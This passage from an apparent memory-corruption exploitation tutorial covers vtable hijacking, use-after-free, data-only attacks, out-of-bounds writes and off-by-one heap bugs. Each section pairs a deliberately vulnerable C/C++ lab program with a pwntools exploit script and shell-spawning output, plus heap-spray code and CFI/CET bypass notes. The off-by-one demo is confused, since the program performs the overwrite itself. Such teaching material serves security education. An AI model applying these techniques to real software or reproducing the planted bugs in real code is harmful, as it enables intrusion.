│ vptr (8 bytes) │ ───► │ vptr = &FakeVtable │ ──┐
├────────────────────┤ ├────────────────────┤ │
│ member_var_1 │ │ ... │ │
├────────────────────┤ └────────────────────┘ │
│ ... │ │
└────────────────────┘ │
▼
Fake Vtable (Controlled Memory):
┌────────────────────┐
│ function_ptr_1 │ ───► shellcode / ROP
├────────────────────┤
│ function_ptr_2 │
└────────────────────┘
The Vulnerability:
If you can overwrite the vptr (via UAF or Overflow), you can point it to a fake vtable you created in memory. When the program calls object->virtualFunction(), it fetches the pointer from your fake table and executes it.
Vulnerable Example:
// vtable_vuln.cpp
// compile with g++ -no-pie -fno-stack-protector -o vtable_vuln vtable_vuln.cpp
#include <cstdio>
#include <cstdlib>
#include <cstring>
class Animal {
public:
char name[32];
virtual void speak() {
printf("Animal: %s makes a sound\n", name);
}
virtual void action() {
printf("Animal: %s does something\n", name);
}
virtual ~Animal() {}
};
class Dog : public Animal {
public:
void speak() override {
printf("Dog: %s says WOOF!\n", name);
}
};
class Cat : public Animal {
public:
void speak() override {
printf("Cat: %s says MEOW!\n", name);
}
};
// Target function we want to call
void win() {
printf("\n[!] VTABLE EXPLOITED! Got code execution.\n");
printf("[*] This demonstrates vtable hijacking via UAF\n");
// system("/bin/sh"); // Uncomment for shell
}
Animal* animals[10];
int animal_count = 0;
void create_animal(const char* type, const char* name) {
if (animal_count >= 10) return;
Animal* a;
if (strcmp(type, "dog") == 0) {
a = new Dog();
} else {
a = new Cat();
}
strncpy(a->name, name, 31);
a->name[31] = '\0';
animals[animal_count++] = a;
printf("Created %s '%s' at %p\n", type, name, (void*)a);
printf(" vptr at %p points to %p\n", (void*)a, *(void**)a);
}
void delete_animal(int idx) {
if (idx < 0 || idx >= animal_count) return;
printf("Deleting animal %d at %p\n", idx, (void*)animals[idx]);
delete animals[idx];
// BUG: Pointer not nullified! UAF possible
}
void pet_animal(int idx) {
if (idx < 0 || idx >= animal_count) return;
printf("Calling speak() on animal %d at %p\n", idx, (void*)animals[idx]);
printf(" vptr: %p\n", *(void**)animals[idx]);
// This calls the virtual function via vptr
animals[idx]->speak(); // UAF: if freed, uses stale vptr
}
// Simulates attacker-controlled allocation
void* create_fake_object() {
size_t size = sizeof(Dog);
void* obj = malloc(size);
printf("\nAllocated fake object at %p (size %zu)\n", obj, size);
printf("Enter fake object data (hex bytes, e.g., 414141...):\n");
char hex_input[256];
if (fgets(hex_input, sizeof(hex_input), stdin)) {
// Simple hex parser
size_t len = strlen(hex_input);
size_t byte_idx = 0;
for (size_t i = 0; i < len - 1 && byte_idx < size; i += 2) {
unsigned int byte;
if (sscanf(&hex_input[i], "%2x", &byte) == 1) {
((unsigned char*)obj)[byte_idx++] = (unsigned char)byte;
}
}
printf("Wrote %zu bytes to fake object\n", byte_idx);
}
return obj;
}
int main() {
printf("=== Vtable UAF Demo ===\n");
printf("win() at: %p\n", (void*)win);
printf("sizeof(Dog/Cat): %zu\n", sizeof(Dog));
printf("Object layout: [vptr:8][name:32] = 40 bytes\n\n");
// 1. Create animal object
create_animal("dog", "Rex");
// 2. Delete (free) but pointer remains
delete_animal(0);
// 3. Allocate same-sized buffer under attacker control
printf("\n[*] Freed object memory can be reallocated...\n");
printf("[*] If we allocate same size, we get the same memory\n");
printf("[*] We can craft a fake vtable to hijack control flow\n\n");
create_fake_object();
// 4. Trigger UAF - program dereferences stale vptr
printf("\n[*] Triggering UAF by calling virtual function...\n");
pet_animal(0); // Uses attacker-controlled vptr
return 0;
}
Exploitation Strategy:
#!/usr/bin/env python3
# vtable_exploit.py
from pwn import *
context.arch = 'amd64'
elf = ELF('./vtable_vuln')
# Find win function (may be mangled)
win_addr = None
for sym in elf.symbols:
if 'win' in sym:
win_addr = elf.symbols[sym]
break
if not win_addr:
log.error("Could not find win() function")
exit(1)
log.info(f"win() at {hex(win_addr)}")
p = process('./vtable_vuln')
# Read initial output
p.recvuntil(b"sizeof(Dog/Cat): ")
obj_size = int(p.recvline().strip())
log.info(f"Object size: {obj_size}")
# Wait for object creation and deletion
p.recvuntil(b"Enter fake object data")
# Craft fake object:
# Object layout: [vptr:8][name:32]
#
# We need to create a fake vtable in memory
# Strategy: Place fake vtable right after vptr in our object
#
# Fake object layout:
# [0:8] fake_vptr -> points to offset 16 (where fake vtable starts)
# [8:16] padding
# [16:24] fake_vtable[0] = win() address (speak function)
# [24:32] fake_vtable[1] = win() address (action function)
# [32:40] fake_vtable[2] = win() address (destructor)
# Calculate fake vptr value
# We don't know heap address, but we can use a trick:
# The vptr will be at the start of our allocated object
# If we can leak or guess the address, we point vptr to our fake vtable
# For this demo, we'll use a simpler approach:
# Fill the entire object with win() address
# This way, no matter what offset is used, it points to win()
fake_obj = p64(win_addr) * (obj_size // 8)
# Convert to hex string
hex_payload = fake_obj.hex()
log.info(f"Sending payload: {hex_payload[:32]}...")
p.sendline(hex_payload.encode())
# Trigger the UAF
try:
output = p.recvall(timeout=2)
print(output.decode())
except:
pass
p.close()
Vtable Smashing Success:
- Binary analysis: C++ program with Partial RELRO, no PIE, CET enabled
- Object size: 40 bytes (8-byte vptr + 32 bytes data)
- UAF exploitation: Used freed object to write fake vtable
- Vtable hijacking: Successfully overwrote vptr to point to
win()function - Code execution: Virtual function call redirected to attacker-controlled address
Why This Works:
- Use-After-Free: Program continues using freed object pointer
- Vtable location: vptr at offset 0 points to function table
- Fake object: Attacker controls heap memory, creates fake vtable
- Pointer overwrite: vptr overwritten with
win()function address - Virtual dispatch:
speak()virtual call jumps to attacker-controlled function
Key Technical Details:
- CET bypass: Vtable smashing bypasses CET because it uses legitimate virtual dispatch
- Heap control: UAF provides write-what-where primitive on heap
- Object layout: 8-byte vptr followed by data members
- Function pointer:
win()at0x401256used as fake virtual function
Advanced Technique: Heap Spray for Fake Vtable:
// When you don't know exact addresses, spray the heap
// with fake vtables containing your target address
void heap_spray_vtable(void* target_func, size_t spray_count) {
// Create many copies of fake vtable
for (size_t i = 0; i < spray_count; i++) {
void** fake_vtable = (void**)malloc(64);
// Fill all entries with target function
for (int j = 0; j < 8; j++) {
fake_vtable[j] = target_func;
}
}
// Now predictable addresses contain our fake vtable
// Common spray target: 0x0c0c0c0c or similar
}
Why Vtable Attacks Matter:
| Aspect | Function Pointer | Vtable |
|---|---|---|
| Location | Explicit in struct | Hidden at object start |
| Detection | Easier to spot in code review | Implicit, harder to audit |
| Prevalence | C code, callbacks | All C++ polymorphic classes |
| Real-world targets | Legacy C apps | Browsers, games, office apps |
Mitigation: VTable Integrity checks (CFI, VTV)
- Clang CFI: Validates vtable pointers at virtual calls
- GCC VTV: Verifies vtable via separate validation tables
- MSVC CFG: Control Flow Guard for indirect calls
Bypassing VTable Protections:
- Use existing vtables: Point to legitimate vtable of wrong type (type confusion)
- Partial vtable corruption: Overwrite single entry if vtable is writable
- COOP attacks: Chain existing virtual functions
Use-After-Free Again
Some UAF fundamentals:
// Simple UAF demonstrating the primitive
// uaf_basic.c
// compile with gcc -no-pie -fno-stack-protector -o uaf_basic uaf_basic.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char name[32];
void (*print)(void*);
} Note;
void print_note(void *self) {
Note *n = (Note*)self;
printf("Note: %s\n", n->name);
}
void win(void *unused) {
printf("\n[!] UAF EXPLOITED! Got code execution.\n");
printf("[*] This demonstrates Use-After-Free leading to function pointer hijack\n");
// system("/bin/sh"); // Uncomment for shell
}
Note *notes[10];
int note_count = 0;
void create_note() {
if (note_count >= 10) return;
Note *n = malloc(sizeof(Note));
n->print = print_note;
printf("Enter note: ");
fgets(n->name, sizeof(n->name), stdin);
n->name[strcspn(n->name, "\n")] = 0;
notes[note_count++] = n;
printf("Created note %d at %p\n", note_count-1, (void*)n);
printf(" name at %p\n", (void*)n->name);
printf(" print at %p -> %p\n", (void*)&n->print, (void*)n->print);
}
void delete_note(int idx) {
if (idx < 0 || idx >= note_count) return;
printf("Freeing note %d at %p\n", idx, (void*)notes[idx]);
free(notes[idx]);
// BUG: Pointer not cleared! (Dangling pointer)
}
void view_note(int idx) {
if (idx < 0 || idx >= note_count) return;
printf("Calling print function on note %d at %p\n", idx, (void*)notes[idx]);
printf(" print pointer: %p\n", (void*)notes[idx]->print);
// UAF: May use freed memory!
notes[idx]->print(notes[idx]);
}
// Attacker-controlled allocation of same size
void edit_profile() {
char *profile = malloc(sizeof(Note)); // Same size as Note!
printf("Enter profile data (will overwrite freed Note): ");
size_t len = fread(profile, 1, sizeof(Note), stdin);
printf("Profile saved at %p (%zu bytes)\n", (void*)profile, len);
// Show what we wrote
printf(" First 8 bytes (name): ");
for (int i = 0; i < 8; i++) {
printf("%02x ", (unsigned char)profile[i]);
}
printf("\n Bytes 32-40 (print ptr): ");
for (int i = 32; i < 40; i++) {
printf("%02x ", (unsigned char)profile[i]);
}
printf("\n");
}
int main() {
printf("=== UAF Demo ===\n");
printf("win() at %p\n", (void*)win);
printf("sizeof(Note): %zu bytes\n", sizeof(Note));
printf("Layout: [name:32][print:8] = 40 bytes\n\n");
// 1. Create note (allocates Note struct)
create_note();
// 2. Delete note (frees, but pointer remains)
printf("\n[*] Deleting note (creates dangling pointer)...\n");
delete_note(0);
// 3. Allocate controlled data of same size
printf("\n[*] Allocating profile (will reuse freed Note memory)...\n");
printf("[*] We can overwrite the function pointer at offset 32\n");
edit_profile();
// 4. Use dangling pointer - calls our controlled function pointer!
printf("\n[*] Triggering UAF by calling print on freed note...\n");
view_note(0);
return 0;
}
Exploitation Strategy:
#!/usr/bin/env python3
# uaf_exploit.py
from pwn import *
context.arch = 'amd64'
elf = ELF('./uaf_basic')
win = elf.symbols['win']
log.info(f"win() at {hex(win)}")
p = process('./uaf_basic')
# Wait a bit for program to start
sleep(0.2)
# 1. Send note content
p.sendline(b"AAAA")
# Wait for profile prompt
sleep(0.2)
# 2. Send profile data that overwrites the freed Note
# Structure: [name: 32 bytes][print: 8 bytes]
payload = b"B" * 32 # name padding
payload += p64(win) # overwrite print function pointer
log.info(f"Sending {len(payload)} byte payload")
p.send(payload)
# Get all output
sleep(0.5)
try:
output = p.recvall(timeout=1)
print(output.decode())
except:
pass
p.close()
Test Results:
...
[*] Process './uaf_basic' stopped with exit code 0 (pid 6937)
=== UAF Demo ===
win() at 0x40124c
sizeof(Note): 40 bytes
Layout: [name:32][print:8] = 40 bytes
Enter note: Created note 0 at 0x1a1f56b0
name at 0x1a1f56b0
print at 0x1a1f56d0 -> 0x401216
[*] Deleting note (creates dangling pointer)...
Freeing note 0 at 0x1a1f56b0
[*] Allocating profile (will reuse freed Note memory)...
[*] We can overwrite the function pointer at offset 32
Enter profile data (will overwrite freed Note): Profile saved at 0x1a1f56b0 (40 bytes)
First 8 bytes (name): 42 42 42 42 42 42 42 42
Bytes 32-40 (print ptr): 4c 12 40 00 00 00 00 00
[*] Triggering UAF by calling print on freed note...
Calling print function on note 0 at 0x1a1f56b0
print pointer: 0x40124c
[!] UAF EXPLOITED! Got code execution.
[*] This demonstrates Use-After-Free leading to function pointer hijack
UAF Exploitation Success:
- Binary analysis: No PIE (fixed addresses), Partial RELRO, CET enabled but bypassed
- Memory reuse: Profile allocated at same address
0x1a1f56b0as freed Note - Function pointer overwrite: Successfully overwrote print pointer from
0x401216to0x40124c(win()) - Heap layout: 40-byte structure with 32-byte name + 8-byte function pointer
- Code execution: UAF triggered, called attacker-controlled function pointer
Why This Works:
- Dangling pointer: freed Note pointer still accessible in notes array
- Heap reuse: malloc reuses freed memory for profile allocation
- Precise overwrite: 32 bytes padding + 8 bytes function pointer = 40 bytes total
- Function hijack:
notes[0]->print()callswin()instead ofprint_note() - CET bypass: Legitimate function pointer call bypasses CET restrictions
Data-Only Attacks
Concept: Corrupt data, not code pointers. Bypasses CFG, CET, and most CFI.
// Data-only attack example (~/exploit/data_only_stdin.c)
// compile with gcc -no-pie -fno-stack-protector -o data_only_stdin data_only_stdin.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct User {
char username[64];
int is_admin;
char password[64];
};
struct User current_user;
void login() {
char buffer[128];
current_user.is_admin = 0; // Initialize BEFORE the overflow
printf("Enter username: ");
fflush(stdout);
// Vulnerable: no bounds checking
gets(buffer); // DANGEROUS! But that's the point
strcpy(current_user.username, buffer);
printf("Enter password: ");
fflush(stdout);
gets(buffer);
strcpy(current_user.password, buffer);
}
void admin_panel() {
if (current_user.is_admin) {
printf("Welcome admin! Here's your shell:\n");
system("/bin/sh");
} else {
printf("Access denied. is_admin = %d\n", current_user.is_admin);
}
}
int main() {
login();
admin_panel();
return 0;
}
Exploit:
#!/usr/bin/env python3
#~/exploit/data_only_exploit.py
import struct
from pwn import *
# Start the process
p = process('./data_only_stdin')
# Receive prompt
p.recvuntil(b'Enter username: ')
# Create payload: 64 bytes + 4-byte integer = 1 (is_admin)
payload = b'A' * 64 + struct.pack('<I', 1)
# Send payload
p.sendline(payload)
# Receive password prompt
p.recvuntil(b'Enter password: ')
p.sendline(b'password')
# Interactive shell
p.interactive()
Test Results:
[+] Starting local process './data_only_stdin': pid 6951
[*] Switching to interactive mode
Welcome admin! Here's your shell:
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
Data-Only Attack Success:
- Compilation warnings:
gets()deprecated but still works for demonstration - Privilege escalation: Successfully gained admin access and shell
- Data corruption: Changed
is_adminfrom 0 to 1 without code pointer modification - Bypass all mitigations: CFG, CET, DEP all ineffective against data-only attacks
- Shell access: Achieved interactive shell with current user privileges
Why This Matters:
- No code pointer corrupted: CFG won't help - no indirect calls to validate
- No return address modified: CET won't help - no control flow changes
- No shellcode executed: DEP won't help - no executable memory needed
- Just changed a data value: Modified
is_adminflag to bypass authentication - Real-world impact: Many vulnerabilities are data corruption, not code execution
Out-of-Bounds Read/Write (Infoleak & Primitive)
Why it matters: OOB reads are common in parsers and image/video codecs. They often leak sensitive memory (infoleak) or, when combined with integer overflows, turn into OOB writes that corrupt adjacent objects.
Vulnerable Pattern:
// oob_demo.c - Simple OOB read/write demo
// Compile: gcc -fno-stack-protector -no-pie -o oob_demo oob_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MAX_ITEMS 10
struct Item {
int id;
char name[32];
void (*callback)(void);
};
struct Item *items[MAX_ITEMS];
int count = 0;
void win() {
printf("[!] PWNED via OOB write!\n");
fflush(stdout);
system("/bin/sh");
}
void add_item(int id, const char *name) {
if (count >= MAX_ITEMS) return;
struct Item *item = malloc(sizeof(struct Item));
item->id = id;
strcpy(item->name, name);
item->callback = NULL;
items[count++] = item;
}
struct Item *get_item(int idx) {
return items[idx];
}
void update_item(int idx, const char *name, int len) {
struct Item *item = get_item(idx);
if (!item) return;
printf("memcpy %d bytes to item[%d]->name\n", len, idx);
fflush(stdout);
// Show what we're copying
printf("Last 8 bytes being copied: %02x %02x %02x %02x %02x %02x %02x %02x\n",
(unsigned char)name[len-8], (unsigned char)name[len-7],
(unsigned char)name[len-6], (unsigned char)name[len-5],
(unsigned char)name[len-4], (unsigned char)name[len-3],
(unsigned char)name[len-2], (unsigned char)name[len-1]);
fflush(stdout);
memcpy(item->name, name, len);
}
void process_items() {
printf("Processing items...\n");
fflush(stdout);
for (int i = 0; i < count; i++) {
printf("Item %d: callback = %p\n", i, items[i]->callback);
fflush(stdout);
if (items[i] && items[i]->callback) {
printf("Calling callback for item %d\n", i);
fflush(stdout);
printf("About to jump to: %p\n", items[i]->callback);
fflush(stdout);
items[i]->callback();
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
add_item(1, "Alice");
add_item(2, "Bob");
struct Item *special = malloc(sizeof(struct Item));
special->id = 3;
strcpy(special->name, "Special");
special->callback = NULL;
items[count++] = special;
printf("Items: %d\n", count);
for (int i = 0; i < count; i++) {
printf("%d: %s\n", items[i]->id, items[i]->name);
}
printf("win() function address: %p\n", win);
fflush(stdout);
int idx;
printf("Enter index to view: ");
fflush(stdout);
scanf("%d", &idx);
struct Item *item = get_item(idx);
if (item) {
printf("Item %d: %s\n", item->id, item->name);
fflush(stdout);
}
char newname[200];
printf("Enter new name for item %d: ", idx);
fflush(stdout);
int len = read(0, newname, sizeof(newname) - 1);
if (len > 0 && newname[len-1] == '\n') len--;
update_item(idx, newname, len);
printf("After corruption:\n");
for (int i = 0; i < count; i++) {
printf("Item %d callback: %p\n", i, items[i]->callback);
}
process_items();
return 0;
}
Exploitation Flow:
- OOB Read: Use negative/large index to read heap metadata or adjacent object pointers.
- Leak: Extract libc or heap addresses from the leaked data.
- OOB Write: Overwrite a function pointer or vtable in an adjacent object.
- Trigger: Call the overwritten pointer to gain code execution.
pwntools Exploit Example:
#!/usr/bin/env python3
#~/exploit/oob_exploit.py
"""
FINAL WORKING EXPLOIT - Uses correct offset of 36
"""
from pwn import *
binary = './oob_demo'
elf = ELF(binary)
context.binary = elf
win_addr = elf.symbols['win']
log.info(f"win() @ {hex(win_addr)}")
def exploit():
p = process(binary)
# Read initial output
p.recvuntil(b'Enter index to view: ')
# Send index 2
p.sendline(b'2')
# Wait for the next prompt
p.recvuntil(b'Enter new name for item 2: ')
# CORRECT OFFSET: 36 bytes, not 100!
# This corrupts item 2's own callback, not item 3's
payload = b'A' * 36 + p64(win_addr)
log.info(f"Using CORRECT offset 36, payload length: {len(payload)}")
p.send(payload)
# Should get shell now
log.info("WAITING FOR SHELL!")
p.interactive()
if __name__ == "__main__":
exploit()
Key Insights:
- OOB reads are powerful infoleaks: They bypass ASLR by leaking heap/libc addresses.
- OOB writes enable corruption: Can overwrite function pointers, vtables, or heap metadata.
- Combination is deadly: Leak first, then write with precise targeting.
- Common in parsers: Image/video codecs often have array bounds issues.
Detection & Mitigation:
// Safe version with bounds checking
struct Item *get_item_safe(int idx) {
if (idx < 0 || idx >= count) {
return NULL; // Bounds check!
}
return items[idx];
}
void update_item_safe(int idx, const char *name) {
struct Item *item = get_item_safe(idx);
if (!item) return;
strncpy(item->name, name, 31);
}
Off-by-One / Partial Overwrite
Why it matters: Off-by-one errors are subtle but extremely common. They can corrupt heap metadata (size fields) or stack canaries, leading to powerful exploits.
Vulnerable Pattern:
// offbyone.c - Off-by-one heap overflow demo
// Compile: gcc -fno-stack-protector -no-pie -o offbyone offbyone.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char name[32]; // Buffer with potential off-by-one
size_t size;
} Item;
typedef struct {
void (*func_ptr)();
char data[16];
} Target;
Item *items[10];
Target *target;
void win() {
printf("[!] PWNED via off-by-one!\n");
system("/bin/sh");
}
void create_item(int idx, const char *name, size_t size) {
if (idx >= 10) return;
items[idx] = malloc(sizeof(Item));
strncpy(items[idx]->name, name, 32); // No off-by-one here
items[idx]->size = size;
}
void vulnerable_update(int idx, const char *name) {
if (idx >= 10 || !items[idx]) return;
// VULNERABILITY: Off-by-one in strncpy
// Copies 33 bytes (32 + 1) into 32-byte buffer
strncpy(items[idx]->name, name, 33); // BUG: should be 32
}
void setup_target() {
target = malloc(sizeof(Target));
target->func_ptr = NULL;
strcpy(target->data, "TARGET_DATA");
}
void print_items() {
for (int i = 0; i < 10; i++) {
if (items[i]) {
printf("Item %d: name=%.20s, size=0x%lx\n",
i, items[i]->name, items[i]->size);
}
}
}
// Add a vulnerable function that we can trigger
void vulnerable_function() {
char buffer[32];
printf("Enter data for vulnerable function: ");
fflush(stdout);
fgets(buffer, sizeof(buffer), stdin);
printf("Data received: %s\n", buffer);
}
// Add a function that allocates memory we can control
void* allocate_controlled_chunk(size_t size) {
void *ptr = malloc(size);
printf("Allocated controlled chunk at %p (size: 0x%lx)\n", ptr, size);
return ptr;
}
// Add a more direct approach - create a target that we can directly overwrite
typedef struct {
char buffer[32];
void (*func_ptr)();
} DirectTarget;
DirectTarget *direct_target;
void setup_direct_target() {
direct_target = malloc(sizeof(DirectTarget));
direct_target->func_ptr = NULL;
strcpy(direct_target->buffer, "DIRECT_TARGET");
}
int main() {
// Create direct_target FIRST so it gets allocated before items
setup_direct_target();
setup_target();
// Create items for off-by-one exploitation
create_item(0, "ITEM0", 0x20);
create_item(1, "ITEM1", 0x20);
printf("target @ %p, direct_target @ %p\n", target, direct_target);
printf("items[0] @ %p, items[1] @ %p\n", items[0], items[1]);
printf("direct_target->func_ptr @ %p\n", &direct_target->func_ptr);
print_items();
// Get user input for vulnerable update
printf("Enter new name for item 0: ");
fflush(stdout);
char name[64];
fgets(name, sizeof(name), stdin);
name[strcspn(name, "\n")] = 0;
vulnerable_update(0, name);
print_items();
// Check if we corrupted anything
printf("target->func_ptr: %p\n", target->func_ptr);
printf("direct_target->func_ptr: %p\n", direct_target->func_ptr);
if (target->func_ptr) {
printf("Calling corrupted target function pointer...\n");
target->func_ptr();
} else if (direct_target->func_ptr) {
printf("Calling corrupted direct_target function pointer...\n");
direct_target->func_ptr();
} else {
printf("No direct corruption detected.\n");
// Stage 2: Use corrupted size to trigger heap overlap
printf("Attempting heap overlap exploitation...\n");
// The off-by-one corrupted items[0]->size from 0x20 to 0x40
// Now we can use this to create overlapping chunks
// Calculate offset using signed arithmetic
ssize_t offset_to_direct = (char*)&direct_target->func_ptr - (char*)items[0];
printf("Offset from items[0] to direct_target->func_ptr: %ld (0x%lx)\n",
offset_to_direct, (size_t)offset_to_direct);
// Check if we can write backwards (direct_target is before items[0])
if (offset_to_direct < 0 && offset_to_direct > -0x1000) {
printf("Performing backward write via corrupted heap chunk...\n");
// Use the corrupted size to write backwards
// items[0]->name now has effective size of 0x40 due to corruption
// We can write beyond the 32-byte boundary
char *write_ptr = (char*)items[0]->name + offset_to_direct;
printf("Writing win() address to %p\n", write_ptr);
// Directly write win function pointer
*(void**)write_ptr = win;
printf("Backward write completed!\n");
// Verify and call
if (direct_target->func_ptr == win) {
printf("Backward write successful! Calling win()...\n");
direct_target->func_ptr();
} else {
printf("Write verification failed: func_ptr = %p, expected %p\n",
direct_target->func_ptr, win);
}
} else if (offset_to_direct > 0 && offset_to_direct < 0x1000) {
printf("Performing forward write via corrupted heap chunk...\n");
char *write_ptr = (char*)items[0]->name + offset_to_direct;
printf("Writing win() address to %p\n", write_ptr);
*(void**)write_ptr = win;
printf("Forward write completed!\n");
if (direct_target->func_ptr == win) {
printf("Forward write successful! Calling win()...\n");
direct_target->func_ptr();
}
} else {
printf("Offset %ld (0x%lx) not suitable for exploitation\n",
offset_to_direct, (size_t)offset_to_direct);
}
// Try vulnerable function as fallback
printf("Trying vulnerable function for code execution...\n");
vulnerable_function();
}
return 0;
}
Exploitation Strategy:
- Heap Layout: Create adjacent chunks to control what gets corrupted.
- Partial Overwrite: Use off-by-one to modify size field or least significant byte of pointer.
- Chunk Overlap: Corrupted size leads to overlapping chunks during free/malloc.
- Arbitrary Write: Use overlapping chunks to write to arbitrary addresses.
pwntools Exploit Example:
#!/usr/bin/env python3
#~/exploit/offbyone_exploit.py
"""
Off-by-one exploitation demo
Shows how a single-byte overflow can lead to arbitrary write
"""
from pwn import *
binary = './offbyone'
elf = ELF(binary)
context.binary = elf
def exploit():
p = process(binary)
# Get addresses - now includes direct_target
line = p.recvline().strip().decode()
# Parse "target @ ADDR, direct_target @ ADDR"
parts = line.split(', ')
target_addr = int(parts[0].split('@ ')[1], 16)
direct_target_addr = int(parts[1].split('@ ')[1], 16)
# Get item addresses from second line
line2 = p.recvline().strip().decode()
# Parse "items[0] @ ADDR, items[1] @ ADDR"
item_parts = line2.split(', ')
item0_addr = int(item_parts[0].split('@ ')[1], 16)
item1_addr = int(item_parts[1].split('@ ')[1], 16)
# Get direct_target func_ptr address
line3 = p.recvline().strip().decode()
# Parse "direct_target->func_ptr @ ADDR"
direct_func_ptr_addr = int(line3.split('@ ')[1], 16)
log.info(f"target @ {hex(target_addr)}")
log.info(f"direct_target @ {hex(direct_target_addr)}")
log.info(f"items[0] @ {hex(item0_addr)}")
log.info(f"items[1] @ {hex(item1_addr)}")
log.info(f"direct_target->func_ptr @ {hex(direct_func_ptr_addr)}")
# Calculate offset from item0->name to target->func_ptr
# item0 layout: [name=32][size=8] = 40 bytes
# target layout: [func_ptr=8][data=16] = 24 bytes
# We need to overflow item0->name into adjacent chunk's metadata
# and eventually into target->func_ptr
# First, let's see the initial state
p.recvuntil(b'Item 0: ')
item0_info = p.recvline().decode().strip()
p.recvuntil(b'Item 1: ')
item1_info = p.recvline().decode().strip()
log.info(f"Initial item0: {item0_info}")
log.info(f"Initial item1: {item1_info}")
# Get win function address
win_addr = elf.symbols['win']
log.info(f"win function @ {hex(win_addr)}")
# Calculate direct offset to target->func_ptr
# From addresses: target @ 0x32be02a0, items[0] @ 0x32be02c0
# target->func_ptr is at target + 0 = 0x32be02a0
# items[0]->name is at items[0] + 0 = 0x32be02c0
# Distance: 0x32be02c0 - 0x32be02a0 = 0x20 (32 bytes)
# We need to overflow backwards by 32 bytes to reach target->func_ptr
# But we only have 1 byte overflow, so we need to corrupt heap metadata
# to create chunk overlap that gives us write access to target
# Strategy: Corrupt item0 size to force heap allocator to give us
# a chunk that overlaps with target when we allocate something new
# Let's try a more direct approach - corrupt the size field to point
# into target's memory region
payload = b'A' * 32 # Fill item0->name completely
# Calculate what size would make the next allocation overlap with target
# target is 0x20 bytes before items[0], so we need a size that includes
# both items[0] and the target region
overlap_size = 0x40 # 64 bytes - should overlap with target
payload += p8(overlap_size) # Corrupt size to force overlap
# Send payload
p.recvuntil(b'Enter new name for item 0: ')
p.sendline(payload)
# Read the results
try:
p.recvuntil(b'Item 0: ')
item0_after = p.recvline().decode().strip()
p.recvuntil(b'Item 1: ')
item1_after = p.recvline().decode().strip()
log.info(f"After overflow - item0: {item0_after}")
log.info(f"After overflow - item1: {item1_after}")
# Check function pointers
p.recvuntil(b'target->func_ptr: ')
target_func_line = p.recvline().decode().strip()
p.recvuntil(b'direct_target->func_ptr: ')
direct_func_line = p.recvline().decode().strip()
log.info(f"target->func_ptr: {target_func_line}")
log.info(f"direct_target->func_ptr: {direct_func_line}")
# Check if either function pointer was corrupted
if "nil" not in target_func_line:
log.success("Target function pointer corrupted!")
if b"Calling corrupted target function pointer" in p.recv(timeout=1):
log.success("Got shell via target!")
p.interactive()
return
elif "nil" not in direct_func_line:
log.success("Direct target function pointer corrupted!")
if b"Calling corrupted direct_target function pointer" in p.recv(timeout=1):
log.success("Got shell via direct_target!")
p.interactive()
return
# Stage 2: Heap overlap exploitation
if "No direct corruption detected" in p.recvline(timeout=1).decode():
log.info("Stage 2: Attempting heap overlap exploitation...")
try:
p.recvuntil(b'Attempting heap overlap exploitation...')
p.recvuntil(b'Offset from items[0] to direct_target->func_ptr: ')
offset_line = p.recvline().decode().strip()
# Parse "OFFSET (0xHEX)"
offset_str = offset_line.split(' ')[0]
offset = int(offset_str)
log.info(f"Offset: {offset} ({hex(offset & 0xffffffffffffffff)})")
# Check for backward write
output = p.recv(timeout=1)
if b"Performing backward write via corrupted heap chunk..." in output:
log.success("Backward write exploitation in progress!")
# Check if we got the PWNED message
if b"[!] PWNED via off-by-one!" in output:
log.success("Code execution achieved via heap overlap!")
log.success("Got shell!")
p.interactive()
return
# Otherwise parse the detailed output
if b"Writing win() address to " in output:
write_addr_match = output.split(b'Writing win() address to ')[1].split(b'\n')[0]
write_addr = int(write_addr_match.decode().strip(), 16)
log.info(f"Writing to: {hex(write_addr)}")
if b"Backward write completed!" in output:
log.success("Backward write completed!")
# Check if it worked
if b"Backward write successful! Calling win()..." in output:
log.success("Exploitation successful!")
# Try to get more output
try:
more_output = p.recv(timeout=1)
if b"[!] PWNED via off-by-one!" in more_output:
log.success("Got shell!")
p.interactive()
return
except:
pass
else:
log.warning("Write verification failed")
else:
log.warning("Backward write failed")
elif b"Performing forward write via corrupted heap chunk..." in output:
log.success("Forward write exploitation in progress!")
# Check if we got the PWNED message
if b"[!] PWNED via off-by-one!" in output:
log.success("Code execution achieved via heap overlap!")
log.success("Got shell!")
p.interactive()
return
if b"Writing win() address to " in output:
write_addr_match = output.split(b'Writing win() address to ')[1].split(b'\n')[0]
write_addr = int(write_addr_match.decode().strip(), 16)
log.info(f"Writing to: {hex(write_addr)}")
if b"Forward write completed!" in output:
log.success("Forward write completed!")
if b"Forward write successful! Calling win()..." in output:
log.success("Exploitation successful!")
try:
more_output = p.recv(timeout=1)
if b"[!] PWNED via off-by-one!" in more_output:
log.success("Got shell!")
p.interactive()
return
except:
pass
else:
log.warning("Offset not suitable for exploitation")
if b"not suitable" in output:
reason = output.split(b"not suitable")[1].split(b'\n')[0]
log.info(f"Reason: {reason.decode()}")
except Exception as e:
log.warning(f"Error during heap overlap: {e}")
# Fallback to vulnerable function
try:
p.recvuntil(b'Trying vulnerable function for code execution...')
p.recvuntil(b'Enter data for vulnerable function: ')
# Send payload to vulnerable function
vuln_payload = b'A' * 32 + p64(win_addr)
p.sendline(vuln_payload)
# Check for shell
if b"[!] PWNED via off-by-one!" in p.recv(timeout=2):
log.success("Got shell via vulnerable function!")
p.interactive()
else:
log.warning("Vulnerable function exploitation failed")
except Exception as e:
log.warning(f"Error in vulnerable function: {e}")
except EOFError:
log.warning("Program crashed")
p.interactive()
except EOFError:
log.warning("Program crashed")
p.interactive()
if __name__ == "__main__":
exploit()
Key Insights:
- Single byte matters: Off-by-one can corrupt critical metadata (size fields, pointers).
- Heap metadata targeting: Size field corruption enables out-of-bounds writes beyond allocated buffer.
- Partial pointer overwrite: Can bypass ASLR by corrupting only LSB of pointers.
- Common in string operations:
strncpy,snprintfoften have off-by-one issues when boundary is miscalculated. - Heap layout exploitation: Corrupted size field allows writing to adjacent heap chunks.
- Backward exploitation: Negative offsets enable writing to lower memory addresses when target is allocated before source.
Critical Success Factors:
